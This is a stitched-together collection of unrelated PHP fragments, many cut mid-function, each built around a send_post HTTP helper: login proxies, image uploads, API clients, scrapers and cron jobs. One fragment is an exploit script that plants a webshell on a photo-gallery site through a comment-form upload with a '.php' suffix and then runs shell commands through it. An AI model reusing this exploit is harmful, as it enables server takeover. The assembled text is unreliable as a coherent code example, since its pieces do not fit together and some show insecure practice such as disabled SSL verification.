public function login() { $number = trim(I('post.number')); $password = $_POST['password']; $post_data = array('phone' => '+8618511339115', 'username' => $number, 'password' => $password); $data = send_post('http://www.dean.gxnu.edu.cn/jwxt/index.php/api/user/login', $post_data); $data = json_decode($data, TRUE); foreach ($data as $v => $d) { if ($v == 'session_id') { $sessionid = $d; break; } } if (empty($sessionid)) { $this->show("密码错误"); exit; } else { cookie('number', $number, 3600); } $info = D('info'); $infodata['number'] = $number; $infodata['sessionid'] = $sessionid; if ($info->where(array("number" => $number))->count()) { $info->where(array("number" => $number))->save($infodata); } else { $info->add($infodata); } $this->redirect('mulu'); }
public function avatar_post($id) { $tempImage = tempnam_sfx(sys_get_temp_dir(), "jpg"); $imageName = base64_to_png($this->post('image'), $tempImage); $thumbImage = create_thumb($imageName); $nameThumb = name_thumb($imageName); $handle = fopen($imageName, "r"); $data = fread($handle, filesize($imageName)); $headers = array('Authorization: Client-ID ' . IMGUR_CLIENT_ID); $postFields = array('image' => base64_encode($data)); $dataImage = send_post(IMGUR_URL_UPLOAD_IMAGE, $postFields, $headers); $handle = fopen($nameThumb, "r"); $data = fread($handle, filesize($nameThumb)); $headers = array('Authorization: Client-ID ' . IMGUR_CLIENT_ID); $postFields = array('image' => base64_encode($data)); $dataThumb = send_post(IMGUR_URL_UPLOAD_IMAGE, $postFields, $headers); $val['avatar_thumbnail'] = $dataThumb['data']['link']; $val['avatar_standar'] = $dataImage['data']['link']; $userId = $this->user_model->update($id, $val); if (!is_null($userId)) { //unlink($imageName); //unlink($nameThumb); $this->response(array('avatars' => $val), 200); } else { $this->response(array('error' => 'Internal Server Error'), 500); } }
function riley_shortcode($args) { ob_start(); $requestIdentifier = RileyLibs::getRequestIdentifier($args); if (!get_option('riley_options')) { print_r('<pre>You need to set your Riley Api key.</pre>'); } else { RileyLibs::initScripts(); send_post($requestIdentifier); } return ob_get_clean(); }
function sendQuery($url, $get=array(), $post=array(), $header=array(), $user_commend=""){ $header[] = 'GData-Version: 2'; $header[] = 'Authorization: GoogleLogin auth='.$this->Auth; $header[] = 'X-If-No-Redirect: 1'; if($this->gsessionid !='') $get = array_merge($get , array("gsessionid"=>$this->gsessionid)); $q = parse_url($url); $url = $q["scheme"]."://". $q["host"].$q["path"]; if(array_key_exists("query", $q)){ parse_str($q["query"], $q); }else{ $q = array(); } $url .= "?".http_build_query(array_merge($q, $get)); return send_post($url, $post, $header, $user_commend); }
function send_post_success($url, $post_data) { return send_post($url, $post_data)->success; }
function re_scrape($url) { $graph = 'https://graph.facebook.com/'; $post = 'id=' . urlencode($url) . '&scrape=true'; return send_post($graph, $post); }
send_frameset(); } elseif ($_REQUEST['action'] === 'controls') { check_session(); send_controls(); } elseif ($_REQUEST['action'] === 'delete') { check_session(); if ($_REQUEST['what'] === 'all') { if (isset($_REQUEST['confirm'])) { del_all_messages($U['nickname'], 10, $U['entry']); } else { send_del_confirm(); } } elseif ($_REQUEST['what'] === 'last') { del_last_message(); } send_post(); } elseif ($_REQUEST['action'] === 'profile') { check_session(); if (isset($_REQUEST['do']) && $_REQUEST['do'] === 'save') { save_profile(); } send_profile(); } elseif ($_REQUEST['action'] === 'logout') { kill_session(); send_logout(); } elseif ($_REQUEST['action'] === 'colours') { check_session(); send_colours(); } elseif ($_REQUEST['action'] === 'notes') { check_session(); if (!empty($_REQUEST['do']) && $_REQUEST['do'] === 'admin' && $U['status'] > 6) {
} echo "[+] Getting valid gid & photo path ... "; $webc = get_web($host); $temp = explode(";gid=", $webc); $gid = intval($temp[1]); $temp = explode("photos/", $webc); $temp = explode("/", $temp[1]); $path = $temp[0]; if (!$gid || !$path) { die("Failed!\n\n"); } echo "OK\n GID: {$gid}\n Path: " . $host . "photos/" . $path . "/\n\n"; echo "[+] Creating WebShell Script ... "; send_post($host . "add_comment.php?gid=" . $gid . "&phid=.php", "tit=a&aut=a&mail=" . urlencode($websh) . "&web=&msg=a&date=&send=Send"); $webc = get_web($host . "photos/" . $path . "/" . $gid . "_.php"); send_post($host . "photos/" . $path . "/acidwebshell.php", "c=" . urlencode("rm " . $gid . "_.php")); echo "OK\n Now go to: " . $host . "photos/" . $path . "/acidwebshell.php"; die("\n\nDone!\n\n"); function get_web($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($ch); curl_close($ch); return $data; } function send_post($url, $data) { $ch = curl_init();
<?php function send_post($url, $post_data) { $postdata = http_build_query($post_data); $options = array('http' => array('method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postdata, 'timeout' => 15 * 60)); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); echo $result->status; return $result; } $data = array('username' => 'test', 'password' => 'test'); $username = send_post('http://localhost/pm25/web/index.php/create/data_mobile', $data); echo $username; echo 'xxx';
<?php // $type=$_GET["type"]; // $cardid=$_GET["cardid"]; // $optfile=$_GET["optfile"]; $str = file_get_contents("php://input"); send_post("http://tl-generator.herokuapp.com/dothenlp", $str); // echo file_get_contents("http://tl-generator.herokuapp.com/dothenlp"); function send_post($url, $post_data) { $postdata = http_build_query($post_data); $options = array('http' => array('method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postdata, 'timeout' => 15 * 60)); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result; }
<?php error_reporting(E_ALL & ~E_NOTICE); header("Content-type: text/html; charset=utf-8"); $config = (include 'config.php'); $code = $_GET["code"]; if (!empty($code)) { if ($_COOKIE["access_token"]) { $config['access_token'] = $_COOKIE["access_token"]; } else { $responseText = send_post($config['accountURL'] . '/oauth2/access_token', array('client_id' => $config['client_id'], 'client_secret' => $config['client_secret'], 'code' => $code)); $json = json_decode($responseText, true); $config['access_token'] = $json['access_token']; //存放令牌 setcookie("access_token", $json['access_token'], time() + 3600 * 24 * 7); } addTask($config); } else { echo "非法操作"; } exit; //创建任务 function addTask($config) { echo send_post2($config['apiURL'] . "/api/tasks", array('content' => '测试订单', '_tasklistId' => $config['_tasklistId'], '_stageId' => $config['_stageId']), $config['access_token']); } //验证access_token是否合法 function validateToken($config) { echo send_get2($config['apiURL'] . "/api/applications/" . $config['client_id'] . "/tokens/check", $config['access_token']); }
<?php $_SERVER['REQUEST_METHOD'] = 'CLI'; include 'api_common.inc.php'; if (empty($_SERVER['argv'])) { exit; } $fid = $_SERVER['argv'][1]; $ppFeature = $_SERVER['argv'][2]; $file_size_arr = explode('_', $ppFeature); $file_size = $file_size_arr[0]; $fileArray = big_file_array($ppFeature); $md5 = strtoupper(big_file_md5($fileArray)); $url = API_CLOUDPLAY . "/1/file/{$fid}/md5?fromcp=private_cloud&feature_pplive={$ppFeature}&md5={$md5}"; $json1 = send_post($url); $xunlei_cid = big_file_cid($fileArray, $file_size); $xunlei_gcid = big_file_gcid($fileArray, $file_size); $url = API_CLOUDPLAY . "/1/file/{$fid}/features?fromcp=private_cloud&feature_pplive={$ppFeature}"; $json2 = send_json_post($url, '{"feature_xunlei_cid":"' . $xunlei_cid . '","feature_xunlei_gcid":"' . $xunlei_gcid . '"}'); //删除临时文件 $target = UPLOAD_DIR . "/{$ppFeature}"; delDirAndFile($target); //必须,否则文件无法进入转码队列 $url = API_CLOUDPLAY . "/2/file/{$fid}/action/uploadrange?feature_pplive={$ppFeature}&segs=1"; sleep(30); $json3 = send_get($url); $arr3 = json_decode(send_get($url), 1); if (empty($arr3['data']) || $arr3['data']['status'] == 50) { sleep(30); $json3 = send_get($url); $json3 = 'retry';
$context = stream_context_create($options); $result = file_get_contents($url, false, $context); $json = json_decode($result, true); $json = json_decode($json['catalogBranch'], true); echo "<h1>" . $post_data['catelogyId'] . "</h1>"; foreach ($json['data'] as $val) { foreach ($val['catelogyList'] as $cate) { echo "<div class='div1'>"; echo $cate['cid'] . '--' . $cate['name'] . '<br>'; echo "<img src='{$cate['icon']}'>"; // if (!empty($cate['icon'])) { // save($cate['icon']); // } if (!empty($cate['icon'])) { file_put_contents('imgslist2.txt', $cate['cid'] . '==' . $cate['icon'] . '==' . $cate['name'] . PHP_EOL, FILE_APPEND | LOCK_EX); } echo "</div>"; } echo "<div style='clear:both;'></div>"; } file_put_contents($dir . $fileName, $result); } $remote_server = "http://m.jd.com/category/list.action"; $arr = array('-10086', '100001851', '100001852', '100001957', '670', '9987', '1319', '1713', '737', '9847', '6196', '1320', '1316', '1318', '6144', '1620', '100001560', '1672', '6233', '12259', '6728', '4051', '9192', '5025', '100001958', '100002201', '4938', '100001502'); header("Content-type:text/html;charset=utf8"); echo "\n<!DOCTYPE html>\n\t<head>\n\t\t<style>\n\t\t\t.div1{\n\t\t\t\twidth:100px;height:100px;overflow:hidden;\n\t\t\t\tmargin:10px;float:left;\n\t\t\t}\n\t\t\t.div1 img{\n\t\t\t\tmax-width:100%;max-height:100%;\n\t\t\t}\n\t\t</style>\n\t</head>\n\t<body>\n"; file_put_contents('imgslist2.txt', ''); foreach ($arr as $one) { $post_data = array('_format_' => 'json', 'catelogyId' => $one); send_post($remote_server, $post_data); }
function delay_job($class, $method, $params = array()) { if (!($class && $method)) { return false; } if (($CI =& get_instance()) && !isset($CI->cfg)) { $CI->load->library('cfg'); } $params = Cfg::system('delay_job', 'is_check') ? array_merge($params, array(Cfg::system('delay_job', 'key') => md5(Cfg::system('delay_job', 'value')))) : $params; return send_post(base_url(array_merge(Cfg::system('delay_job', 'controller_directory'), array($class, $method))), $params, Cfg::system('delay_job', 'is_wait_log')); }
$objDb = core::db()->getConnect('CAILAI'); //获取当天的日期 $startday = strtotime(date('Y-m-d') . '0:0:0'); $endday = strtotime(date('Y-m-d') . '23:59:59'); //查询这一个月的投资总额 $sql = "select invest_uid from lzh_newbie_record where status=4 and repayment_time <= " . $endday . " and repayment_time >=" . $startday; echo $sql; //die; $res = $objDb->query($sql); while ($row = mysql_fetch_assoc($res)) { $rows[] = $row; } $url = 'https://dev.cailai.com/invest/newbie_repayment'; foreach ($rows as $key => $value) { echo $value['invest_uid']; var_dump(send_post($url, $value)); } //die; // if(in_array($res,'false')) // { // echo "数据更新成功"; // }else{ // echo "数据更新失败"; // } function send_post($url, $fields) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //控制返回结果不让自动输出 curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);